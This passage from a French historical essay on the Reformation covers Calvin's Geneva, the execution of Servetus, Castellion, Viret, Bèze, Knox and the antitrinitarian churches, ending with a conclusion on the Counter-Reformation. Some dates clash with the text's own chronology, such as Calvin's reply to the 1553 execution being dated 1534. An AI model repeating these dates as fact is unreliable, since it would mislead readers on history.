car sont interdits le jeu, la boisson, les danses, toute forme de luxe, etc.. .L’excommunication – exclusion de la communion – est même proposée. Ces ordonnances ecclésiastiques régiront le ‘gouvernement’ de l’Église. Calvin, se préoccupant de la liturgie, y fait introduire les chants et en rédigera un nouveau formulaire. Pour ce qui touche à l’enseignement, Calvin en 1541 écrit le « Formulaire d’instruire les enfants à la chrétienté », sous forme de questions – réponses que les enfants doivent apprendre ; ce formulaire est en réalité un nouveau catéchisme. Passé en France en 1544 le volume est modifié pour être adapté aux enfants de dix ans et plus tard Théodore de Bèze en rédigera un autre pour les plus petits. Par ailleurs Calvin fera créer deux écoles à Genève, une pour enfants et un collège, puis en 1559 ce sera l’Académie. Le réformateur juriste, connaissant les problèmes de l’exil, souhaite dès 1541 que soient enregistrés les noms des parents et des enfants. La mesure appliquée à Genève dès 1542 ne le sera en France qu’après 1559, après le premier synode général des églises réformées qui déclarera « tant les mariages que les baptêmes seront enregistrés et gardés soigneusement en l’Église avec les noms des père et mère et parrains des enfants baptisés ». En 1562 le roi autorisera officiellement la procédure. Calvin a compris cette question cruciale qui restera épineuse pour les réformés en France car ils se verront autorisés à ‘exister’ ou contraints à ‘disparaître ‘selon la volonté et les édits royaux, quand même la mort ne sera pas respectée et le problème des cimetières douloureux ; mais les listes des noms dans les Bibles cachées pendant les périodes de persécutions puis redécouvertes permettront de relier les familles et les destins, donc l’histoire des protestants. Familles dont se soucie Calvin depuis Genève, et qu’il aidera particulièrement lorsque les Églises de la Réforme se ‘dresseront’, comme il enverra également les pasteurs formés à Genève. L’aide est matérielle, intellectuelle et spirituelle : Jean Calvin enverra au synode de 1559 un projet de Confession de foi. Ainsi Jean Calvin est il devenu un personnage incontesté à Genève, et dont le modèle traversera les frontières. Toujours de santé médiocre – 1564 le voit malade et épuisé – il meurt cette année – là, laissant une œuvre considérable et des doctrines qui seront dès lors ‘calvinistes’. Jean Calvin a ‘vidé le ciel’ pour n’y retrouver que Dieu transcendant, le Christ seul médiateur et le saint Esprit pour animer l’homme dans la société. Le réformateur a fait de Genève une ‘ville – école’, et des pasteurs qu’il envoyait dans toute l’Europe, des ‘soldats intellectuels’. Par sa volonté de repenser la foi et de la formuler, il représentait l’humanisme. Pour son refus des superstitions et son souhait de développer les doctrines luthériennes et zwingliennes, il était théologien. Par l’articulation qu’il savait faire entre la religion et l’histoire, il était historien . Par son organisation de la vie de l’Église et de la cité, il était juriste. Pour les deux derniers points, Calvin a été, sinon le premier, en tout cas le plus explicite quant à la distinction des pouvoirs ecclésiastique et civil. Il s’est opposé à l’ingérence du magistrat dans l’Église, sauf pour solliciter un avis. Genève n’a pas été une théocratie et Calvin a su préserver l’indépendance de l’Église lorsque lui – même connaissait des conflits. La deuxième génération de la Réforme, avec Calvin, est bien séparée désormais du monde médiéval, voire des débuts de la Renaissance, elle est en phase désormais avec un monde ‘moderne’ qui commence à bien appréhender et comprendre les enjeux de la Réforme, qui est à même de les accepter ou de les refuser, dans toute l’Europe de cette deuxième moitié du XVI<sup>e</sup> siècle. Cependant Jean Calvin a eu des opposants, et, pour certains, farouches. Son autorité et sa rigueur pouvaient déplaire, ses doctrines déranger, mais ce qui lui sera reproché, comme une forme d’intolérance, aura été l’affaire Michel Servet (vers 1509-1553). Espagnol, né sans doute à Villeneuve d’Aragon, fils de notaire, l’enfant montre vite une vive intelligence. A 14 ans il est au service du directeur de l’université de Paris qui sera plus tard le confesseur de Charles Quint, et obtient l’autorisation de se rendre à Toulouse pour étudier le droit. Là, le jeune homme, curieux et avide de savoir, épouse les idées humanistes, apprend l’hébreu et le grec. En 1530, on le retrouve à Bâle puis à Strasbourg,dans les lieux intellectuels, lors de conférences ou de controverses. En 1533 à Paris il doit rencontrer Jean Calvin,mais l’entrevue ne se fera pas. Michel Servet repart pour Lyon dans les années 1537-1538, travaille chez un imprimeur comme lecteur et correcteur. Il hésite longtemps à faire des études de théologie ou de médecine, finit par s’inscrire à l’université de Paris en médecine, tout en étudiant en même temps la pharmacologie et l’astrologie. Après Lyon, Michel Servet est à Vienne où d’une part il exerce la médecine et d’autre part écrit, soit des ouvrages sous un pseudonyme ‘Michel de Villeneuve’ soit de la correspondance, surtout avec Calvin en 1546. Les relations entre les deux hommes, d’abord courtoises, se détériorent vite, Servet harcelant Calvin de questions, ce dernier ne répondant pas toujours, souvent agacé soit par les questions soit par le ton de son correspondant. Ce qui est le plus reproché à Servet n’est, ni sa fougue ni ses convictions dangereusement avancées en médecine – n’ose-t-il pas parler de la circulation du sang ? – mais ses interprétations bibliques et notamment sa conception de la communion. Il se heurtera, dès qu’il la présentera ‘, aux oppositions catholiques et réformées, en particulier à celle de Philippe Melanchton : Servet refuse la transsubstantiation mais accepte la présence du Christ diffuse dans le pain et non localisée. La seconde question sévère qui ne lui sera pas pardonnée est sa conception, également, de la Trinité. Ce qui n’était qu’une réticence entre Servet et Calvin va devenir un conflit grave, surtout quand le réformateur implacable de Genève apprend que Servet avait écrit : « La Trinité est un cerbère à trois têtes et ceux qui croient en la Trinité sont de fait des athées ». Le conflit s’aggrave encore quand Servet publie à Vienne un volume « Prostitution du christianisme » où il s’écarte de l’« Institution de la religion chrétienne » de Calvin : Servet affirme qu’il y a bien Père, Fils et Saint Esprit, mais en qualité de ‘personnes’ Dieu ayant sa parole incarnée dans le Fils qui est en conséquence le Logos incarné dans un moment donné de l’histoire, et le Saint Esprit qui anime l’homme ne peut plus être assimilé à une personne. Ces assertions antitrinitaires sont donc opposées aux doctrines ‘calviniennes’ qui deviendront ‘calvinistes’. En outre, Servet refuse le baptême des enfants, autre point de discorde avec Calvin qui écrira à Farel le 13 février 1546 « Servet vient de m’envoyer (...) un long volume de ses délires, affirmant avec sa jactance fanfaronne que j’y trouverai des choses étonnantes et neuves. Il viendra ici si je l’y autorise. Mais je n’en ferai rien. Car s’il vient et que je jouisse ici de quelque autorité, je ne souffrirai pas qu’il sorte vivant » car, être hérétique au XVI<sup>e</sup> siècle, c’est mériter la mort. Et Servet est considéré comme tel par Calvin. En effet un ami de Calvin, Guillaume de Trie dénonce Michel Servet, qu’il a reconnu malgré le pseudonyme, à l’un de ses parents, Antoine Armays, catholique, qui alerte le vicaire général du cardinal de Tournon qui à son tour prévient l’inquisiteur général de France Matthieu Ory. En mars 1553, Servet, alias de Villeneuve, est convoqué quand des perquisitions ont lieu à son domicile. Rien ne pouvant être prouvé contre le suspect, de Trie demande à Calvin de produire certaines des lettres que lui avait envoyées Servet. Calvin de mauvaise grâce, accepte néanmoins et ces documents jugés ‘blasphématoires’ condamnent Servet. En avril, il est arrêté, interrogé, mis en prison d’où il réussit à s’échapper, sans doute avec des complicités que le fugitif ne nommera jamais, préférant dire « que les prisons étaient tenues comme si l’on avait voulu qu’il se sauvât ». Mais, même en l’absence de l’accusé, l’enquête et le procès se poursuivent qui mènent au jugement et à la condamnation au bûcher : c’est en effigie que Servet est donc brûlé, avec tous ses ouvrages dont la « Prostitution du christianisme ». Malgré ce jugement, on retrouve Servet ,dont on perd la trace quelque temps, à Genève en août de cette même année 1553 . Il assiste au culte le dimanche 13 à l’église de la Madeleine. Il est vite reconnu, dénoncé, arrêté. Or le Conseil général de Genève est à cette époque en conflit avec Calvin qui n’a pas hésité à excommunier certains membres du Conseil qui songent à quitter la ville. Le deuxième procès de Servet va vite apparaître comme un enjeu entre les deux partis et le prisonnier comme l’otage de chacun d’eux, laïques ou religieux. Commencé en août , le procès se terminera en septembre. Dès le 16 août Calvin avait demandé à être présent aux interrogatoires dont il en dirigera certains, comme expert en théologie et seul susceptible de définir l’hérésie dont est accusé Servet. Car la faute la plus grave, cette hérésie que dénonce Calvin, reste la position antitrinitaire de Servet : refuser la Trinité, c’est refuser la divinité du Christ, mettre en doute le salut par la grâce et relancer tous les débats sur la communion. La fin du second procès est une seconde condamnation au bûcher. L’apprenant, le condamné sollicite une rencontre avec son accusateur principal, Calvin, mais l’entrevue sera vaine et Calvin dira : « Voyant que je ne profitais rien par exhortations, je me retirai (de la cellule) d’un hérétique condamné de soi – même. » Servet alors demandera à être exécuté par le fer et non par le feu, seule concession que fera Calvin en faisant la même requête. En vain. Servet meurt sur le bûcher le 27 octobre 1553 en criant : « O jésus, Fils du Dieu éternel, aie pitié de moi ! » ; encore une erreur du malheureux aux yeux du réformateur qui selon sa doctrine eût préféré entendre : « O jésus, Fils éternel de Dieu, aie pitié de moi ! ». L’affaire Michel Servet semblerait être terminée avec le bûcher du 27 octobre 1553, mais l’Histoire n’a pas abandonné le martyr . Les flammes et la persécution éteintes, des voix s ‘élèvent. Et d’abord contre Jean Calvin lui –même. Questions, reproches , doutes. Le chancelier de Berne, Nicolas Zurkinden ne dira-t-il pas : « J’aime mieux que nous pêchions , le magistrat et moi, par excès de clémence et de timidité, que d’incliner trop vite à la rigueur du glaive ». Calvin, qui sait que cette opinion est partagée, répond en publiant dès février 1534, en latin et en français, une « Déclaration pour maintenir la vraie foi que tiennent tous chrétiens de la Trinité des personnes en un seul Dieu », où l’auteur rassemble à la fois vol, meurtre et adultère, donc peine de mort. A cette publication, une signature anonyme répondra par le « Traité des hérétiques ». Ce traité cependant parvient entre les mains de Calvin qui ne se trompe pas en pensant que l’auteur est Sébastien Castellion (1515-1563). Né aux environs de Nantua, ce dernier fait ses études à Lyon, quitte l’Église catholique et s’installe à Strasbourg en 1540. Là il rencontre Jean Calvin qui l’appelle ensuite à Genève, mais très vite les deux hommes entrent en désaccord. Castellion repart pour Bâle en 1545, où il va travailler notamment dans une imprimerie, et se voit nommé professeur de grec à l’université en 1553. En 1555, il publie une traduction de la Bible dans la langue populaire en employant ‘le jargon des gueux’. Cela lui sera reproché, ainsi que certains de ses commentaires, en particulier sur la difficulté de compréhension de certains passages, dans sa volonté de les rendre lisibles pour le plus grand nombre. En 1562, il publie encore le « Conseil à la France désolée » où transparaissent sa tolérance et sa grande ouverture d’esprit quand il écrit : « Les deux religions (doivent être) libres et chacun (doit) tenir sans contrainte celle des deux qu’il voudra ». Le livre sera condamné par le synode protestant de Lyon qui se tiendra en 1563. Sébastien Castellion ne cache plus son désaccord avec la doctrine de la prédestination de Calvin, comme il se rapproche en outre du concept de la communion de Zwingli. Enfin, de la lecture de la Bible, Castellion a une approche historico - critique, et plaide l’amour de Dieu et du prochain plus que l’obéissance aux doctrines. Jugés dangereux et condamnables, nombre de volumes de Castellion ne seront publiés qu’après sa mort. Mais ce qui déterminera un réel conflit entre Calvin et Castellion réside dans l’affaire Michel Servet. La mise à mort pour raison doctrinale a indigné Castellion. C’est alors qu’il publie le « Traité des hérétiques », où il a rassemblé tous les textes, anciens ou plus récents, qui condamnent la peine de mort pour opinions doctrinales divergentes. A ce Traité, c’est Théodore de Bèze qui répondra par un autre traité pour justifier le bûcher. Traité auquel Castellion réplique encore par un autre écrit « Contre le libelle de Calvin » : ce dernier texte, arrêté par la censure ne sera publié qu’en 1612 et touchera bien des consciences par sa célèbre phrase : « Tuer un homme, ce n’est pas défendre une doctrine, c’est tuer un homme ». Un autre personnage, à l’opposé de Michel Servet, fidèle ami et disciple de Jean Calvin, est Pierre Viret (1511-1571). Né à Orbe, prés de Lausanne, de milieu aisé, il est destiné à la prêtrise et, à partir de 1528, fait ses études à Paris. Travailleur et exigeant, confronté à une diversité de pensée, il prend la décision de quitter l’Église . De retour à Lausanne en 1531, après avoir entendu une prédication de Guillaume Farel, son adhésion à la Réforme est acquise. Il voyage, prêche à Neuchâtel, Payerne , se rend à Genève où il rencontre souvent Calvin qui lui fait confiance et accepte que Viret le remplace lors de ses absences, notamment lorsqu’il sera à Strasbourg. Puis il s’ installe à Lausanne, les bernois le trouvent trop rigoureux et l’obligent à partir. Il retourne donc à Genève où il sera mieux apprécié et où il sera d’ailleurs reçu ‘bourgeois’. Alors qu’il est à Genève, Pierre Viret est invité à se rendre dans le sud de la France : il quitte Genève et arrive à Nîmes en octobre puis il est à Montpellier en janvier 1562. En mai de cette même année, il se rend à Lyon où il va séjourner plusieurs mois. 1561- 1565 sont en France les années difficiles où les conflits entre les deux religions s’aggravent, années ponctuées par le colloque de Poissy en 1561, les premiers ‘troubles ‘des premières guerres de religion (1562-1563), les premiers édits qui seront des trêves entre les guerres. Il s’agit alors pour Viret de faire preuve à la fois d’autorité et de prudence dans un royaume où seule le catholicisme fait loi, dans ses déplacements lorsqu’il prêchera et étant, en outre, dans un mauvais état de santé quasi constant. En 1563-1564, il est à Lyon mais en est expulsé sur ordre du roi Charles IX : ce dernier s’y trouve en effet lors du grand tour du royaume que sa mère, Catherine de Médicis, avait organisé, pour, d’une part, présenter le jeune roi à ses sujets, et d’autre part rencontrer nobles, catholiques, protestants. Viret se rend donc en Dauphiné, puis de nouveau à Orange en 1565 et encore à Montpellier pour consulter des médecins, mais il en est également expulsé. C’est alors qu’il répond à l’invitation de Jeanne d’Albret qui l’avait rencontré à Lyon et qui souhaitait un pasteur à Pau. Pierre Viret arrive donc en Béarn en mars 1567 avec son épouse Sébastienne Laharpe et leur fille. La famille s’installe à Pau qu’elle ne quittera plus, entourée de respect et d’affection, et où le père retrouve d’anciens étudiants de l’Académie de Genève, envoyés par Calvin. Pierre Viret aura désormais une existence matériellement assurée , une situation privilégiée, jusqu’à ce que la guerre rattrape son histoire. Catholiques et protestants se déchirent en Béarn ; en avril 1569, Pau se rend, Viret est arrêté, emprisonné, et tout le temps de sa détention qui durera deux ans, il saura réconforter ses compagnons d’infortune. Il fait partie des otages qui ne seront relâchés que lorsque Pau sera libéré par les troupes protestantes. Début 1571, Pierre Viret rédige son testament en béarnais et le malade toujours plus affaibli meurt en avril de cette année. Il laisse derrière lui une tradition de courage, de travail et de pondération mêlée de belle énergie. Pierre Viret a été le modérateur de synodes béarnais de 1567 à 1570. Particulièrement attaché à la discipline ecclésiastique, il est attentif à la prédication et à la communion pour laquelle il partage l’idée de l’excommunication pour le respect de la Parole de Dieu et du ministère. Les pasteurs d’ailleurs, à Pau comme à Genève, sont surveillés et doivent présenter toute garantie de moralité. Viret est également attaché aux questions de langues. Il a encouragé la traduction des psaumes en béarnais et celle du Nouveau Testament en basque. Il a su comprendre l’importance de l’identité régionale, tout en restant pasteur du plus grand nombre, et proche de Jeanne d’Albret. Si Pierre Viret a aidé Calvin en Suisse romande, il a aussi défendu la Réforme dans le sud – ouest du royaume. Bucer ne se plaisait –il pas à évoquer le ‘triumvirat’ de la Réforme francophone – Jean Calvin, Guillaume Farel et Pierre Viret - ? tous trois différents, complémentaires, et particulièrement en accord sur les doctrines calvinistes. Ces mêmes doctrines vont être encore soutenues et développées par un autre personnage, un autre ami de Jean Calvin, Théodore de Bèze (1519-1605). De son vrai nom Dieudonné de Bèze, puis Deodatus, puis Théodore, il naît à Vézelay. Ses premières études se font à Orléans et Paris où le jeune homme reçoit un enseignement humaniste, s’avère être un futur homme de lettres, poète et qui s’intéresse aux langues. Mais, touché par une épidémie de peste, il frôle la mort, remet en question son savoir et, déjà sensibilisé aux idées de la Réforme, au sortir de l’épreuve physique et morale, décide de se convertir. Condamné par le Parlement de Paris en 1548, il fuit vers la Suisse. D’abord appelé à Lausanne par Viret, il va enseigner le grec à l’Académie qui vient de s’ouvrir. Puis il est reçu à Genève par Calvin en 1558, après avoir du quitter Lausanne à la suite du conflit entre cette ville et Berne. Il est alors nommé professeur de théologie et sera ensuite recteur de l’Académie fondée par Calvin. Mais les ‘troubles’ religieux grondent en France. En 1561 a lieu le colloque de Poissy et Calvin , qui connaît les qualités de débatteur de son ami, l’y envoie. Là tous sont réunis, catholiques et protestants ; mais ce colloque, d’où on espère sortir dans le calme, est un échec. Aucun compromis n’a pu être trouvé, et notamment lorsque Théodore de Bèze soutient fortement la doctrine sur la communion et lorsqu’il dira « Le corps du Christ est éloigné du pain et du vin autant que le plus haut du ciel est rapproché de la terre ». Ce colloque se termine comme il a commencé, dans le désaccord et la menace de guerre. Un an plus tard en effet, c’est la guerre, la première de huit guerres qui ensanglanteront le royaume de France. Guerres de religion, guerres civiles , où se trouve impliqué Théodore de Bèze qui sera aumônier dans l’armée du prince de Condé, Louis de Bourbon. En 1564, Jean Calvin meurt et Théodore de Bèze rejoint Genève. Il sera dès lors le fidèle successeur de son maître, attentif à voir les Ordonnances ecclésiastiques toujours appliquées, à veiller au bon fonctionnement de l’Académie, et sera le Modérateur de la Compagnie des pasteurs jusqu’en 1570. En France, les guerres se poursuivent entrecoupées de courtes trêves pendant lesquelles on tente de négocier . En vain. Comme en 1572, lorsque Catherine de Médicis exige l’union de sa fille Marguerite de Valois avec Henri de Navarre, union que refuse Jeanne d’Albret, contrainte d’accepter mais qu’elle ne verra pas : elle meurt le 9 juin 1572 quand le mariage a lieu le 18 août. Une semaine plus tard, le 25 août, a lieu le massacre de la Saint Barthélemy, dont la première victime est l’amiral de Coligny. De Genève, Théodore de Bèze, qui l’a appris, publie : « Du droit des magistrats sur leurs sujets » où il préconise le droit de résister contre la tyrannie. Car le successeur de Calvin, outre ses qualités de professeur et de théologien est également l’auteur de nombreux ouvrages. Après la poésie, il s’intéresse aux psaumes. Il poursuit l’œuvre de Clément Marot après sa mort en 1544, la transposition des psaumes en ‘rimes françaises’, qui sera « Le psautier huguenot »’. Puis ses « Annotations du Nouveau Testament » feront école, comme sa « Tabula praedestinationis », où il défend la doctrine de la prédestination de Calvin. Théodore de Bèze est aussi historien , avec une tragédie tirée de l’Ancien Testament en 1550, « Abraham sacrifiant » et surtout son « Histoire ecclésiastique des Églises réformées du royaume de France ». Enfin, il était conscient de l’importance d’une volonté politique pour maintenir la paix entre catholiques et protestants : très âgé et affaibli, en 1601, il avait tenu à rencontrer Henri IV prés de Genève, où le roi était alors en campagne, pour s’assurer que l’Edit de Nantes serait maintenu et respecté. Ailleurs en Europe le calvinisme aura des répercussions. En Angleterre notamment, John Knox (1505 ou 1515 – 1572) en sera l ‘artisan. Le réformateur, né en Ecosse à Haddington, était sans doute de milieu modeste ; il fréquente d’abord l’école de sa ville natale ; il savait le latin et le français, quelque peu l’hébreu et le grec , et devait être ordonné prêtre. Dans les années 1540, il est saisi de doutes quant à l’Église catholique qu’il quitte en 1545. Dès cette date naîtront des conflits entre John Knox et l’Angleterre où vont régner Edouard VI, réformé – et dont Knox sera l’aumônier – puis Marie, catholique, puis Elizabeth 1ere. Dans la période la plus dangereuse pour les réformés anglais, John Knox est à Genève, de 153 à 1558, où il s’imprègne des doctrines de Calvin qu’il s’efforcera d’introduire en Ecosse. C’est à Genève que naîtront ses deux fils de son mariage avec Marjorie Bowes. Il rentre en Ecosse en 1559 et n’aura de cesse d’implanter les doctrines calvinistes : il impose la Confession de foi ; l’autorité du pape est officiellement abolie, la messe est interdite. John Knox publie également le « Livre de la discipline » largement inspiré des Ordonnances de Genève, tout empreint de sévérité. Cette rudesse est d’ailleurs reprochée au réformateur écossais dont la virulence peut choquer . En 1560 il prépare la publication de la « Bible de Genève » qui sera à la base de la Réforme anglophone et qui sera rééditée de nombreuses fois jusqu’en 1611. En 1564, veuf, il se remarie avec Margaret Stewart et cette nouvelle union comptera trois filles. Même dans la maladie, qui le laisse presque handicapé, après une apoplexie en 1569, Knox reste véhément dans ses écrits et ses prédications. L’annonce de la Saint Barthélémy dès les derniers jours d’août 1572 sera l’occasion de discours virulents contre « le cruel assassin et traître roi de France ». Certains applaudiront à ce ton quand d’autres le regretteront, tous conscients que le réformateur avait souvent risqué sa vie dans la droiture et l’honnêteté. Jean Calvin a donc été suivi et ses doctrines adoptées par ses disciples et la majorité des réformés francophones. Cependant sa querelle et son attitude envers Michel Servet ont eu des conséquences. En Europe de l’Est aujourd’hui ,Lituanie, Pologne, Roumanie, Hongrie, le conflit Calvin – Servet a nourri la conception antitrinitaire . En effet précédemment Vaudois et Hussites s’étaient réfugiés en Pologne et l’homme de la Réforme dans ce pays est Jean Laski (1499-1560). Prêtre orthodoxe humaniste, il quitte l’Église en 1534 mais doit émigrer à Londres puis aux Pays- Bas, puis en Allemagne où il restera environ vingt ans attaché aux leçons de Luther et de la nouvelle Réforme. En Pologne la Réforme s’implante assez vite mais reste le fait de lettrés et de nobles alors que le peuple et les paysans ne se sentent pas concernés par ces besoins de réformes et iront jusqu’à piller les temples. Parallèlement à la Réforme ‘officielle’ va se développer l’unitarisme, la conception antitrinitaire propagée par les voyageurs suisses notamment. Le martyr de Michel Servet y est rapporté et , dès 1556, au synode de Secemin, Pierre de Goniatz dira : « La Trinité n’existe pas, ce n’est qu’une invention récente. Le credo d’Athanase est à rejeter, c’est une affabulation. Dieu le Père est le seul Dieu, en dehors de lui il n’y en a aucun. Christ est le serviteur du Père. » Peu après Pierre de Goniatz publie : « Du Fils de Dieu un homme, Christ Jésus », polémique qui signe la rupture avec les calvinistes. Ainsi dans les années 1565 se forme l’Ecclesia minor, la plus petite Église de chrétiens antitrinitaires. Les membres de l ‘Ecclesia minor’ s’appellent entre eux ‘ Frères’ ou ‘Frères polonais’, ils ont leurs propres synodes, et sont menacés de mort ou d’expulsion par les protestants ’ traditionnels’. Pourtant à Rakow sera publié le « Catéchisme de Rakow » en 1569, qui sera traduit en allemand en 1608, en latin en 1609, en anglais en 1652 puis réédité en Hollande en 1884. L’Ecclesia minor sera interdite en 1658 et on donnera deux ans aux Frères pour rentrer dans l’Église catholique ou s’exiler. Toujours en Pologne les Socins auront aussi une influence considérable, Lelio et Fausto Socin. Lelio Socin (1525-1562), né à Sienne , se consacre d’abord à des études juridiques, tout en s’attachant à la lecture de la Bible et à la théologie. D’esprit curieux, il étudie et émet des critiques face à certains dogmes catholiques, notamment celui de la Trinité. Dès 1544 Lelio Socin voyage en Europe : France, Angleterre, Suisse où il rencontre Jean Calvin à Genève. Ce dernier est en désaccord avec les idées de Lelio Socin, en particulier ses critiques du concept de Trinité ou de celui de la prédestination. Lelio Socin gagne ensuite l’Allemagne et se lie d’amitié avec Melanchton, qui a succédé à Luther. Puis c’est la Pologne, alors ouverte à toute idée réformée, que Lelio Socin traverse avant de revenir à Zurich, via l’Italie où il est inquiété par l’Inquisition. Il meurt à Zurich en 1562. Fausto Socin (1539-1604), neveu du précédent est né à Sienne et fait des études de droit parallèlement à la théologie. Il réside à Lyon de 1539 à 1562, puis se rend à Zurich ; il publie bientôt anonymement « L’explication des premiers chapitres de l’Evangile de Jean » où ses idées antitrinitaires sont déjà bien présentes. Il est de retour en Italie jusqu’en 1574 puis en Pologne. Il quitte Cracovie en 1583, mais reste en Pologne où il se marie et réside sous la protection d’un seigneur polonais. Il meurt dans ce pays d’adoption en 1604. Enfin, en Transylvanie, le réformateur hongrois Ferencz David (1515-1579) laisse une marque profonde. Né à Cluj, formé à Wittenberg, David est d’abord luthérien, il se rallie ensuite au calvinisme, pour choisir définitivement l’unitarisme. Il écrira : « Dieu m’est témoin que ce que j’ai appris et enseigné ne vient ni du Coran, ni du Talmud, ni de Servet, mais de la Parole du Dieu vivant. Mon enseignement se fonde uniquement sur ce que contient la Bible. » Contre la violence, il dira aussi en 1568 à Torda, à la Diète de Transylvanie : « Nous décrétons que tout prédicateur est libre de prêcher et d’expliquer l’Evangile tel qu’il le comprend (...) Aucun prédicateur ne oit être inquiété et sanctionné par les autorités civiles ou ecclésiastiques à cause de son enseignement. Personne ne doit être privé de travail ni emprisonné ni puni de quelque manière que ce soit à cause de ses opinions religieuses. Car la foi est un don de Dieu et elle vient de l’écoute de la Parole de Dieu. » Mais en 1571 meurt le roi Sigismond qui soutenait David. Dès lors, ce dernier est menacé, arrêté, jugé. Les calvinistes réclament la peine de mort, mais la condamnation sera l’emprisonnement à perpétuité. Enfermé au château de Déva, David meurt en 1579, sans avoir pu laisser beaucoup de traces, écrites ou orales, sur ses dernières années. Et cependant l’unitarisme a continué à se développer en Hongrie, où, toujours minoritaire, il n’en est pas moins resté présent. La Réforme également a toujours été le fait des petits nombres, mais implantée dans tous les pays d’Europe. Et, comme à l’époque de la «’pré- Réforme’, celle de la Réforme installée, plus ou moins reconnue, entre dans une phase où l’articulation politico – religieuse rencontrera des difficultés mais à présent elles seront supplémentaires du fait de l’existence de deux religions, de deux Églises, et de deux conceptions différentes de l’univers, de l’homme et en conséquence de la politique, la catholique et la protestante. == Conclusion : La nouvelle Europe. == De la deuxième moitié du XVeme siècle à la fin du XVIeme siècle, s’est étalée une période où tout a été bouleversé et transformé. Les arts, les sciences, les lettres , le religion et les Églises ont basculé après des décennies de réflexions, de doutes, de menaces et de risques. On ne parle plus de ‘chrétienté’ mais déjà d’un christianisme éclaté et si le premier schisme de 1054 conservait une partie des concepts catholiques, celui de 1517 a déchiré le catholicisme en deux religions différentes. Outre les orthodoxes, on, parle désormais de catholiques et de protestants. Aux conflits politiques se greffent les religieux. Ces conflits vont être dés lors démultipliés par la diversité et l’incompréhension, dans un même pays et entre les pays. Démultiplié encore le potentiel d’agressivité et de violence par le soubassement religieux, particulièrement au XVIeme siècle où la mort est partout présente, à tous les stades de la vie, sans concession ni compromis. Seul le plus fort résiste, physiquement, intellectuellement, spirituellement dans la ligne de sa religion. Et quand cette dernière explose, les repères pour certains disparaissent. Pour d’autres, ils sont remplacés par des objectifs différents, mais cette explosion des traditions a induit un déséquilibre, puis la peur, puis l’exclusion et / ou la violence. Le vieux Moyen-Âge n’est plus, avec ses incertitudes et ses erreurs, sa force et sa faiblesse, sa beauté et ses valeurs qui pouvaient paraître pérennes. Est entré en scène le monde moderne qui bouscule et fait basculer les apparentes certitudes, forces et valeurs et ,dans un fourmillement d’idées, fait émerger un monde nouveau. Et quand tous ne peuvent pas en quelques décennies tout balayer ou tout faire oublier, la difficulté de ce monde nouveau sera de se faire admettre, accepter, adopter. La Réforme, après l’humanisme, et avec les nouveaux savoirs intellectuels ou techniques, est un des tournants entre le Moyen - Age et l’époque moderne. Le consensus politique et religieux ancien n’est plus et un dualisme existe désormais entre les deux domaines. L’articulation se fait de plus en plus inévitable, paraissant comme le négatif d’une photographie ; cette articulation toujours existante était acceptée par tous, mais elle devra dés lors être imposée et donc induira des conflits avivés par l’aspect religieux. Les deux religions, catholique et protestante, seront indissolublement liées, en miroir, ou en contraste , ou en guerre. Aux dogmes intouchables on répond doctrines à toujours repenser, aux certitudes on rétorque interrogations et réflexions, face à la tradition on déclare la Réforme « semper reformanda », à l’Église catholique on oppose les Églises réformées, et enfin l’autorité cléricale est remplacée par le sacerdoce universel . S’il existe une histoire des religions, la notion de séparation d’histoire et religion s’est vite imposée. Les pays de Réforme ont vite compris cette articulation indispensable à la compréhension, au soutien, ou à la haine que pouvaient se porter hommes de politique ou hommes d’Église . Au XVIeme siècle, l’Europe est divisée, et le restera, par les religions, celles –ci induisant, avec une démarche intellectuelle et une philosophie différentes, une économie et une société tout autant différentes. Le nord de l’Europe se voit en effet acquis au luthéranisme ( nord du Saint - Empire, Suède, Danemark, Norvège, Ecosse et Angleterre), l’est européen est en partie favorable à la Réforme également, tandis que le sud reste latin et catholique (Allemagne du sud, Italie, Espagne) . La France , en tenaille, doit choisir ; François 1er le fait en 1534. Les conflits religieux d’où vont naître, en France, dés 1562, les ‘ troubles’ politiques s’inscrivent aussi dans cette spirale, et si la guerre de religion de 1562-1563, la première des huit qui s’enchaîneront, sera la plus ‘sincère’ et la plus ‘authentique’ , les sept autres ne pourront ignorer les enjeux politiques. Les édits qui signent les courts temps de trêve entre les guerres ne sont que ponctuels et ne peuvent déterminer une paix durable. Il faut attendre Henri IV qui, par son abjuration toute politique, son ‘saut périlleux’ de 1593, pourra signer l’Edit de Nantes en 1598. Seul édit de paix crédible et réel qui ne durera que douze ans jusqu’à l’assassinat du roi. Dans le domaine religieux, la Réforme donnera naissance à la Contre Réforme catholique . L’Église et les fidèles ne sont restés ni indifférents ni seulement hostiles à la nouvelle Église qui s’imposait, ils se sont engagés dans une lutte intérieure et extérieure. Intérieure pour être mieux compris et mieux comprendre hommes, pensées et événements. Extérieure en diffusant un savoir mieux adapté et recentré sur l’essentiel du catholicisme. Paris et Louvain, par leurs universités, vont exceller dans cet effort. Erasme s’opposera à Luther, John Fisher en Angleterre paiera de sa vie son opposition à Henri VIII dans sa rupture avec Rome. En Espagne, Ignace de Loyola, blessé en 1521, met à profit son immobilité pour choisir sa voie : se mettre au service de Dieu. Bientôt la Compagnie de Jésus sera approuvée par le pape Paul III en 1540, comptera environ mille membres, ouvrira des collèges et dispensera une formation poussée et reconnue. C’est principalement le concile de Trente qui sera le moteur de la Contre -Réforme. Par son travail considérable de 1540 à 1562, le Concile, en voulant enrayer les thèses protestantes, a approfondi et affirmé les siennes. Ainsi va-t-on expliquer à nouveau et enseigner les sept sacrements, la tradition apostolique, l’autorité ecclésiastique ou la transsubstantiation. Les besoins de réformes des humanistes chrétiens ont été entendus et désormais tout possesseur de bénéfice ecclésiastique doit résider sur son territoire ; les religieux devront obéissance stricte à la règle, et les évêques devront prêcher et visiter leurs diocèses tous les ans . Enfin plus tard , mais la réflexion est engagée, on instituera un Index des livres interdits en 1564, un catéchisme en 1566, un bréviaire en 1568 et un missel en 1570. Cette ‘Réforme catholique’ ne sera pas accueillie avec le même succès dans tous les pays, notamment en Allemagne où les Etats sont divisés et les princes électeurs jaloux de leur pouvoir. Le Saint Empire, partagé entre nord et sud comprend donc catholiques et protestants, et rencontre donc des difficultés supplémentaires : la carte de l’Empire reste la même géographiquement, mais elle est à présent très différente religieusement et politiquement. Dans cet éclatement l’Europe conserve au XVI<sup>e</sup> siècle le tracé du ‘limes’, cette frontière de l’empire romain qui séparait le nord du sud et qui désormais sépare Réforme et Contre–Réforme, protestantisme et catholicisme. Le XVI<sup>e</sup> siècle a donné naissance à un dualisme, père sans doute d’un pluralisme, de pensées et de réflexions, spirituel et religieux, politique, économique et social ; père d’une future tolérance, ni perçue ni connue alors qui s’amorce chez certains et devra attendre deux siècles pour exister et s’affirmer. == Eléments de bibliographie pour ce volume == * 